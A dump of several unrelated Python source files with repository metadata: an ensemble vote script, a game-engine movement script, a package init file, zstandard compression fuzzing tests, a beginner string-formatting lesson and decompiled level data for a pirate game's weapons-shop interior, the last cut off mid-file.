(row_0[1]=='unknown') or (row_1[1]=='unknown') or (row_2[1]=='unknown'): # sel_class = 'unknown' # else: # if row_1[1]==row_2[1]: # sel_class = row_1[1] # else: # sel_class = row_0[1] # # ensemble_csv_wr.writerow([row_0[0], sel_class]) # ################################################################################## # # (2) Ensemble from 5 predictions # ################################################################################## # # Remove header # pred_csv_0.readline() # pred_csv_1.readline() # pred_csv_2.readline() # pred_csv_3.readline() # pred_csv_4.readline() # pred_csv_rd_0 = csv.reader(pred_csv_0) # pred_csv_rd_1 = csv.reader(pred_csv_1) # pred_csv_rd_2 = csv.reader(pred_csv_2) # pred_csv_rd_3 = csv.reader(pred_csv_3) # pred_csv_rd_4 = csv.reader(pred_csv_4) # ensemble_csv_wr.writerow(['fname', 'label']) # for row_0, row_1, row_2, row_3, row_4 in zip(pred_csv_rd_0, pred_csv_rd_1, pred_csv_rd_2, pred_csv_rd_3, pred_csv_rd_4): # # Majority vote from 5 predictions # class_cnt = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # class_cnt[class_labels.index(row_0[1])] = class_cnt[class_labels.index(row_0[1])] + 1 # class_cnt[class_labels.index(row_1[1])] = class_cnt[class_labels.index(row_1[1])] + 1 # class_cnt[class_labels.index(row_2[1])] = class_cnt[class_labels.index(row_2[1])] + 1 # class_cnt[class_labels.index(row_3[1])] = class_cnt[class_labels.index(row_3[1])] + 1 # class_cnt[class_labels.index(row_4[1])] = class_cnt[class_labels.index(row_4[1])] + 1 # max_cnt_class_num = np.argmax(class_cnt) # if (class_cnt[max_cnt_class_num]==1): # sel_class = row_0[1] # else: # sel_class = class_labels[max_cnt_class_num] # ensemble_csv_wr.writerow([row_0[0], sel_class])

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null

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6

541fb899d81bf88f5676ab0790175487d2de51ba

373

py

Python

Engine/Source/Scripts/MoveRight.py

hebohang/HEngine

82f40797a7cfabaa11aeeb7797fba70551d18017

[ "MIT" ]

null

Engine/Source/Scripts/MoveRight.py

hebohang/HEngine

82f40797a7cfabaa11aeeb7797fba70551d18017

[ "MIT" ]

null

Engine/Source/Scripts/MoveRight.py

hebohang/HEngine

82f40797a7cfabaa11aeeb7797fba70551d18017

[ "MIT" ]

null

import numpy as np import HEngine def OnUpdateRuntime(transformComponent, ts): transformComponent.SetTranslation(transformComponent.GetTranslation().x + ts.GetSeconds(), transformComponent.GetTranslation().y, transformComponent.GetTranslation().z) return transformComponent; def OnUpdateEditor(transformComponent): return transformComponent.GetTranslation().x

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185

py

Python

src/eduid_graphdb/groupdb/__init__.py

SUNET/eduid-groupdb

c9b4631ff944211eab82595f005bc7e707142216

[ "BSD-3-Clause" ]

1

2020-09-05T03:14:37.000Z

src/eduid_graphdb/groupdb/__init__.py

SUNET/eduid-graphdb

c9b4631ff944211eab82595f005bc7e707142216

[ "BSD-3-Clause" ]

null

src/eduid_graphdb/groupdb/__init__.py

SUNET/eduid-graphdb

c9b4631ff944211eab82595f005bc7e707142216

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- from eduid_graphdb.groupdb.db import GroupDB from eduid_graphdb.groupdb.group import Group from eduid_graphdb.groupdb.user import User __author__ = 'lundberg'

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6

582fcf6f2605802fb75e5d1896a5fe2639e15c2c

12,933

py

Python

tests/test_compressor_fuzzing.py

pxscott/python-zstandard

3e6553438b0d779f30e07ebc325fdd0c14cecdb2

[ "BSD-3-Clause" ]

null

tests/test_compressor_fuzzing.py

pxscott/python-zstandard

3e6553438b0d779f30e07ebc325fdd0c14cecdb2

[ "BSD-3-Clause" ]

null

tests/test_compressor_fuzzing.py

pxscott/python-zstandard

3e6553438b0d779f30e07ebc325fdd0c14cecdb2

[ "BSD-3-Clause" ]

null

import io import os import unittest try: import hypothesis import hypothesis.strategies as strategies except ImportError: raise unittest.SkipTest('hypothesis not available') import zstandard as zstd from . common import ( make_cffi, random_input_data, ) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_stream_reader_fuzzing(unittest.TestCase): @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), source_read_size=strategies.integers(1, 16384), read_sizes=strategies.data()) def test_stream_source_read_variance(self, original, level, source_read_size, read_sizes): refctx = zstd.ZstdCompressor(level=level) ref_frame = refctx.compress(original) cctx = zstd.ZstdCompressor(level=level) with cctx.stream_reader(io.BytesIO(original), size=len(original), read_size=source_read_size) as reader: chunks = [] while True: read_size = read_sizes.draw(strategies.integers(1, 16384)) chunk = reader.read(read_size) if not chunk: break chunks.append(chunk) self.assertEqual(b''.join(chunks), ref_frame) @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), source_read_size=strategies.integers(1, 16384), read_sizes=strategies.data()) def test_buffer_source_read_variance(self, original, level, source_read_size, read_sizes): refctx = zstd.ZstdCompressor(level=level) ref_frame = refctx.compress(original) cctx = zstd.ZstdCompressor(level=level) with cctx.stream_reader(original, size=len(original), read_size=source_read_size) as reader: chunks = [] while True: read_size = read_sizes.draw(strategies.integers(1, 16384)) chunk = reader.read(read_size) if not chunk: break chunks.append(chunk) self.assertEqual(b''.join(chunks), ref_frame) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_stream_writer_fuzzing(unittest.TestCase): @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), write_size=strategies.integers(min_value=1, max_value=1048576)) def test_write_size_variance(self, original, level, write_size): refctx = zstd.ZstdCompressor(level=level) ref_frame = refctx.compress(original) cctx = zstd.ZstdCompressor(level=level) b = io.BytesIO() with cctx.stream_writer(b, size=len(original), write_size=write_size) as compressor: compressor.write(original) self.assertEqual(b.getvalue(), ref_frame) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_copy_stream_fuzzing(unittest.TestCase): @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), read_size=strategies.integers(min_value=1, max_value=1048576), write_size=strategies.integers(min_value=1, max_value=1048576)) def test_read_write_size_variance(self, original, level, read_size, write_size): refctx = zstd.ZstdCompressor(level=level) ref_frame = refctx.compress(original) cctx = zstd.ZstdCompressor(level=level) source = io.BytesIO(original) dest = io.BytesIO() cctx.copy_stream(source, dest, size=len(original), read_size=read_size, write_size=write_size) self.assertEqual(dest.getvalue(), ref_frame) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_compressobj_fuzzing(unittest.TestCase): @hypothesis.settings( suppress_health_check=[hypothesis.HealthCheck.large_base_example]) @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), chunk_sizes=strategies.data()) def test_random_input_sizes(self, original, level, chunk_sizes): refctx = zstd.ZstdCompressor(level=level) ref_frame = refctx.compress(original) cctx = zstd.ZstdCompressor(level=level) cobj = cctx.compressobj(size=len(original)) chunks = [] i = 0 while True: chunk_size = chunk_sizes.draw(strategies.integers(1, 4096)) source = original[i:i + chunk_size] if not source: break chunks.append(cobj.compress(source)) i += chunk_size chunks.append(cobj.flush()) self.assertEqual(b''.join(chunks), ref_frame) @hypothesis.settings( suppress_health_check=[hypothesis.HealthCheck.large_base_example]) @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), chunk_sizes=strategies.data(), flushes=strategies.data()) def test_flush_block(self, original, level, chunk_sizes, flushes): cctx = zstd.ZstdCompressor(level=level) cobj = cctx.compressobj() dctx = zstd.ZstdDecompressor() dobj = dctx.decompressobj() compressed_chunks = [] decompressed_chunks = [] i = 0 while True: input_size = chunk_sizes.draw(strategies.integers(1, 4096)) source = original[i:i + input_size] if not source: break i += input_size chunk = cobj.compress(source) compressed_chunks.append(chunk) decompressed_chunks.append(dobj.decompress(chunk)) if not flushes.draw(strategies.booleans()): continue chunk = cobj.flush(zstd.COMPRESSOBJ_FLUSH_BLOCK) compressed_chunks.append(chunk) decompressed_chunks.append(dobj.decompress(chunk)) self.assertEqual(b''.join(decompressed_chunks), original[0:i]) chunk = cobj.flush(zstd.COMPRESSOBJ_FLUSH_FINISH) compressed_chunks.append(chunk) decompressed_chunks.append(dobj.decompress(chunk)) self.assertEqual(dctx.decompress(b''.join(compressed_chunks), max_output_size=len(original)), original) self.assertEqual(b''.join(decompressed_chunks), original) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_read_to_iter_fuzzing(unittest.TestCase): @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), read_size=strategies.integers(min_value=1, max_value=4096), write_size=strategies.integers(min_value=1, max_value=4096)) def test_read_write_size_variance(self, original, level, read_size, write_size): refcctx = zstd.ZstdCompressor(level=level) ref_frame = refcctx.compress(original) source = io.BytesIO(original) cctx = zstd.ZstdCompressor(level=level) chunks = list(cctx.read_to_iter(source, size=len(original), read_size=read_size, write_size=write_size)) self.assertEqual(b''.join(chunks), ref_frame) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') class TestCompressor_multi_compress_to_buffer_fuzzing(unittest.TestCase): @hypothesis.given(original=strategies.lists(strategies.sampled_from(random_input_data()), min_size=1, max_size=1024), threads=strategies.integers(min_value=1, max_value=8), use_dict=strategies.booleans()) def test_data_equivalence(self, original, threads, use_dict): kwargs = {} # Use a content dictionary because it is cheap to create. if use_dict: kwargs['dict_data'] = zstd.ZstdCompressionDict(original[0]) cctx = zstd.ZstdCompressor(level=1, write_checksum=True, **kwargs) result = cctx.multi_compress_to_buffer(original, threads=-1) self.assertEqual(len(result), len(original)) # The frame produced via the batch APIs may not be bit identical to that # produced by compress() because compression parameters are adjusted # from the first input in batch mode. So the only thing we can do is # verify the decompressed data matches the input. dctx = zstd.ZstdDecompressor(**kwargs) for i, frame in enumerate(result): self.assertEqual(dctx.decompress(frame), original[i]) @unittest.skipUnless('ZSTD_SLOW_TESTS' in os.environ, 'ZSTD_SLOW_TESTS not set') @make_cffi class TestCompressor_chunker_fuzzing(unittest.TestCase): @hypothesis.settings( suppress_health_check=[hypothesis.HealthCheck.large_base_example]) @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), chunk_size=strategies.integers( min_value=1, max_value=32 * 1048576), input_sizes=strategies.data()) def test_random_input_sizes(self, original, level, chunk_size, input_sizes): cctx = zstd.ZstdCompressor(level=level) chunker = cctx.chunker(chunk_size=chunk_size) chunks = [] i = 0 while True: input_size = input_sizes.draw(strategies.integers(1, 4096)) source = original[i:i + input_size] if not source: break chunks.extend(chunker.compress(source)) i += input_size chunks.extend(chunker.finish()) dctx = zstd.ZstdDecompressor() self.assertEqual(dctx.decompress(b''.join(chunks), max_output_size=len(original)), original) self.assertTrue(all(len(chunk) == chunk_size for chunk in chunks[:-1])) @hypothesis.settings( suppress_health_check=[hypothesis.HealthCheck.large_base_example]) @hypothesis.given(original=strategies.sampled_from(random_input_data()), level=strategies.integers(min_value=1, max_value=5), chunk_size=strategies.integers( min_value=1, max_value=32 * 1048576), input_sizes=strategies.data(), flushes=strategies.data()) def test_flush_block(self, original, level, chunk_size, input_sizes, flushes): cctx = zstd.ZstdCompressor(level=level) chunker = cctx.chunker(chunk_size=chunk_size) dctx = zstd.ZstdDecompressor() dobj = dctx.decompressobj() compressed_chunks = [] decompressed_chunks = [] i = 0 while True: input_size = input_sizes.draw(strategies.integers(1, 4096)) source = original[i:i + input_size] if not source: break i += input_size chunks = list(chunker.compress(source)) compressed_chunks.extend(chunks) decompressed_chunks.append(dobj.decompress(b''.join(chunks))) if not flushes.draw(strategies.booleans()): continue chunks = list(chunker.flush()) compressed_chunks.extend(chunks) decompressed_chunks.append(dobj.decompress(b''.join(chunks))) self.assertEqual(b''.join(decompressed_chunks), original[0:i]) chunks = list(chunker.finish()) compressed_chunks.extend(chunks) decompressed_chunks.append(dobj.decompress(b''.join(chunks))) self.assertEqual(dctx.decompress(b''.join(compressed_chunks), max_output_size=len(original)), original) self.assertEqual(b''.join(decompressed_chunks), original)

40.415625

93

0.624217

1,414

12,933

5.492221

0.11669

0.057945

0.04597

0.056915

0.801313

0.799124

0.76307

0.734484

0.715684

0.699588

0

0.014295

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0.8204

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0.040486

false

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0.032389

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0.101215

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null

0

1

0

null

0

6

584d73271d6eb0d7a133a8d52bc0724ae7f82470

524

py

Python

Aula07/aula07a.py

anderr8/Python-Mundo-1

cd4610b038f051adc0f6c4c1f1c383e0877c614c

[ "MIT" ]

null

Aula07/aula07a.py

anderr8/Python-Mundo-1

cd4610b038f051adc0f6c4c1f1c383e0877c614c

[ "MIT" ]

null

Aula07/aula07a.py

anderr8/Python-Mundo-1

cd4610b038f051adc0f6c4c1f1c383e0877c614c

[ "MIT" ]

null

nome = input('Qual é seu nome? ') print('Prazer em te conhecer {}!'.format(nome)) #print('Prazer em te conhecer {:20}!'.format(nome)) exemplo terá 20 espaços vazios #print('Prazer em te conhecer {:>20}!'.format(nome))exemplo será alinhado à direita #print('Prazer em te conhecer {:<20}!'.format(nome)) exemplo será alinhado à esquerda #print('Prazer em te comhecer {:^20}!'.format(nome)) exemplo será centralizado #print('Prazer em te conhecer {:=^20}!'.format(nome) exemplo será centralizado com sinais de iguais dos lados)

74.857143

110

0.727099

80

524

4.7625

0.3625

0.173228

0.204724

0.23622

0.724409

0.519685

0.409449

0

0.025974

0.118321

524

7

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null

0

1

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6

5868a244151e45122e8f8b8451e0321379d8ec9f

34,959

py

Python

pirates/leveleditor/worldData/interior_spanish_store_weapons.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

3

2021-02-25T06:38:13.000Z

2022-03-22T07:00:15.000Z

pirates/leveleditor/worldData/interior_spanish_store_weapons.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

null

pirates/leveleditor/worldData/interior_spanish_store_weapons.py

itsyaboyrocket/pirates

6ca1e7d571c670b0d976f65e608235707b5737e3

[ "BSD-3-Clause" ]

1

2021-02-25T06:38:17.000Z

# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.leveleditor.worldData.interior_spanish_store_weapons from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Objects': {'1156268617.43dzlu0i': {'Type': 'Building Interior', 'Name': '', 'Instanced': True, 'Objects': {'1167174288.76kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': True, 'Holiday': '', 'Hpr': VBase3(136.849, 0.0, 0.0), 'Pos': Point3(-14.953, -16.924, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/fireplace_stucco'}}, '1167174328.87kmuller': {'Type': 'Prop_Groups', 'DisableCollision': True, 'Hpr': VBase3(-166.64, 0.0, 0.0), 'Pos': Point3(-3.561, 29.165, 5.265), 'Scale': VBase3(0.735, 0.735, 0.735), 'Visual': {'Model': 'models/props/prop_group_C'}}, '1167174414.26kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': VBase3(-86.819, 0.0, 0.0), 'Pos': Point3(-7.268, 15.711, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannon_stack_01'}}, '1167174437.24kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': VBase3(47.914, 0.0, 0.0), 'Pos': Point3(2.187, 15.019, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannonball_stack_square'}}, '1167174454.23kmuller': {'Type': 'Log_Stack', 'DisableCollision': True, 'Hpr': VBase3(-42.387, 0.0, 0.0), 'Pos': Point3(-7.026, -19.102, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/Log_stack_a'}}, '1167174504.17kmuller': {'Type': 'Furniture', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-1.027, 46.21, 5.265), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.4000000059604645, 0.5, 0.4000000059604645, 1.0), 'Model': 'models/props/bookshelf_spanish'}}, '1167174514.03kmuller': {'Type': 'Furniture', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(7.835, 46.149, 5.265), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/bookshelf_spanish'}}, '1167174544.43kmuller': {'Type': 'Crate', 'DisableCollision': True, 'Hpr': VBase3(41.192, 0.0, 0.0), 'Pos': Point3(16.098, 43.066, 5.265), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.7099999785423279, 0.6700000166893005, 0.6000000238418579, 1.0), 'Model': 'models/props/crates_group_1'}}, '1167973245.75kmuller': {'Type': 'Furniture', 'DisableCollision': True, 'Holiday': '', 'Hpr': VBase3(46.95, 0.0, 0.0), 'Pos': Point3(8.415, -20.143, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/counter_spanish'}}, '1167973422.92kmuller': {'Type': 'Furniture', 'DisableCollision': True, 'Holiday': '', 'Hpr': VBase3(46.95, 0.0, 0.0), 'Pos': Point3(16.589, -11.374, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/counter_spanish'}}, '1167973505.22kmuller': {'Type': 'Prop_Groups', 'DisableCollision': True, 'Hpr': VBase3(-77.633, 0.0, 0.0), 'Pos': Point3(7.571, 18.219, 0.0), 'Scale': VBase3(0.703, 0.703, 0.703), 'Visual': {'Model': 'models/props/prop_group_B'}}, '1181240782.71kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(89.991, 0.0, 0.0), 'Pos': Point3(5.458, -23.614, 4.897), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_wall'}}, '1181240788.54kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(89.991, 0.0, 0.0), 'Pos': Point3(5.458, -23.614, 4.897), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_wall_guns'}}, '1181243204.06kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(178.994, 0.0, 0.0), 'Pos': Point3(18.806, -3.175, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_floor'}}, '1181243209.01kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(178.994, 0.0, 0.0), 'Pos': Point3(18.806, -3.175, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_floor_guns'}}, '1181243253.45kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-22.285, 0.0, 0.0), 'Pos': Point3(17.465, -11.154, 3.6), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table'}}, '1181243256.93kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-22.285, 0.0, 0.0), 'Pos': Point3(17.465, -11.154, 3.6), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table_gun'}}, '1181243273.21kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-48.492, -0.089, -0.008), 'Pos': Point3(6.935, -21.818, 3.598), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table'}}, '1181243285.09kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(46.764, 0.0, 0.089), 'Pos': Point3(6.325, -22.555, 4.068), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1181243383.64kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(0.0, -5.584, 7.029), 'Pos': Point3(19.034, -9.526, 3.525), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_grenade'}}, '1181243394.31kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(0.846, 4.681, -10.256), 'Pos': Point3(19.179, -8.893, 3.571), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_grenade'}}, '1181243497.4kmuller': {'Type': 'Barrel', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(2.376, 46.011, 7.723), 'Scale': VBase3(0.188, 0.188, 0.188), 'Visual': {'Color': (0.7099999785423279, 0.6700000166893005, 0.6000000238418579, 1.0), 'Model': 'models/props/barrel'}}, '1181243671.68kmuller': {'Type': 'Barrel', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1.301, 46.011, 7.678), 'Scale': VBase3(0.246, 0.246, 0.246), 'Visual': {'Model': 'models/props/barrel_grey'}}, '1181243702.34kmuller': {'Type': 'Barrel', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(0.238, 45.651, 7.683), 'Scale': VBase3(0.221, 0.221, 0.221), 'Visual': {'Color': (0.5899999737739563, 0.5299999713897705, 0.44999998807907104, 1.0), 'Model': 'models/props/barrel_grey'}}, '1181243783.82kmuller': {'Type': 'Barrel', 'DisableCollision': True, 'Hpr': VBase3(60.536, 0.0, 0.0), 'Pos': Point3(1.44, 45.785, 5.866), 'Scale': VBase3(0.34, 0.34, 0.34), 'Visual': {'Color': (0.800000011920929, 0.7900000214576721, 0.8299999833106995, 1.0), 'Model': 'models/props/barrel_sideways'}}, '1181243854.62kmuller': {'Type': 'Barrel', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-0.832, 46.253, 7.723), 'Scale': VBase3(0.204, 0.204, 0.204), 'Visual': {'Model': 'models/props/barrel_worn'}}, '1181243886.87kmuller': {'Type': 'Trunks', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-3.164, 45.802, 9.541), 'Scale': VBase3(0.656, 0.656, 0.656), 'Visual': {'Model': 'models/props/Trunk_rounded_2'}}, '1181243927.4kmuller': {'Type': 'Sack', 'DisableCollision': False, 'Hpr': VBase3(59.878, 0.0, 0.0), 'Pos': Point3(10.077, 45.819, 9.541), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/package_sack'}}, '1181243941.68kmuller': {'Type': 'Sack', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(8.287, 45.684, 7.646), 'Scale': VBase3(0.343, 0.343, 0.343), 'Visual': {'Model': 'models/props/sack_6stack'}}, '1181244041.9kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-177.848, 0.0, 0.0), 'Pos': Point3(20.088, -9.529, 5.288), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_bsmith_rack'}}, '1181244105.11kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-88.259, 0.0, 0.0), 'Pos': Point3(19.623, -8.616, 6.347), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1181244140.89kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(92.962, 0.0, 0.699), 'Pos': Point3(19.714, -10.498, 7.044), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1182192599.66kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': VBase3(113.977, 0.0, 0.0), 'Pos': Point3(1.048, -19.946, 0.429), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannon_stack_02'}}, '1182192656.62kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(4.381, -20.226, 0.024), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannonball_stack_triangle'}}, '1182192791.23kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-8.613, 27.787, 5.288), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannonball_stack_square'}}, '1182192799.09kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(9.858, 27.654, 5.288), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannonball_stack_square'}}, '1182192850.99kmuller': {'Type': 'Prop_Groups', 'DisableCollision': True, 'Hpr': VBase3(-87.907, 0.0, 0.0), 'Pos': Point3(-17.06, -4.77, 0.0), 'Scale': VBase3(0.653, 0.653, 0.653), 'Visual': {'Model': 'models/props/prop_group_G'}}, '1182192918.54kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-18.372, 1.987, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_floor'}}, '1182192936.76kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, -106.116), 'Pos': Point3(-18.231, 2.831, 1.471), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1182193030.13kmuller': {'Type': 'Furniture', 'DisableCollision': True, 'Hpr': VBase3(-179.649, 0.0, 0.0), 'Objects': {'1182193066.01kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': True, 'Hpr': VBase3(-92.247, 0.0, 0.0), 'Pos': Point3(0.038, -0.395, 3.353), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_floor'}}, '1182193069.46kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-92.247, 0.0, 0.0), 'Pos': Point3(0.038, -0.395, 3.353), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_floor_guns'}}}, 'Pos': Point3(17.076, -22.579, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cabinet_spanish_low'}}, '1182193121.57kmuller': {'Type': 'Ship_Props', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(18.778, -6.233, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/cannonball_stack_triangle'}}, '1182193184.09kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-179.47, 0.0, 0.0), 'Pos': Point3(20.033, 11.488, 5.141), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_bsmith_rack'}}, '1182193246.57kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-89.16, 0.0, 0.0), 'Pos': Point3(19.627, 12.273, 6.878), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1182193304.24kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-89.928, 0.0, 0.0), 'Pos': Point3(19.653, 12.507, 8.26), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bayonet'}}, '1182199919.94kmuller': {'Type': 'Wall_Hangings', 'DisableCollision': False, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-2.249, -23.633, 8.083), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/seascape_battle'}}, '1182542545.33kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(3.316, 31.395, 5.288), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_bucket_guns'}}, '1182542551.76kmuller': {'Type': 'Bucket', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(3.316, 31.395, 5.288), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/bucket'}}, '1182542591.0kmuller': {'Type': 'Bucket', 'DisableCollision': True, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-3.354, -20.719, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/bucket'}}, '1182542597.86kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-3.354, -20.719, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 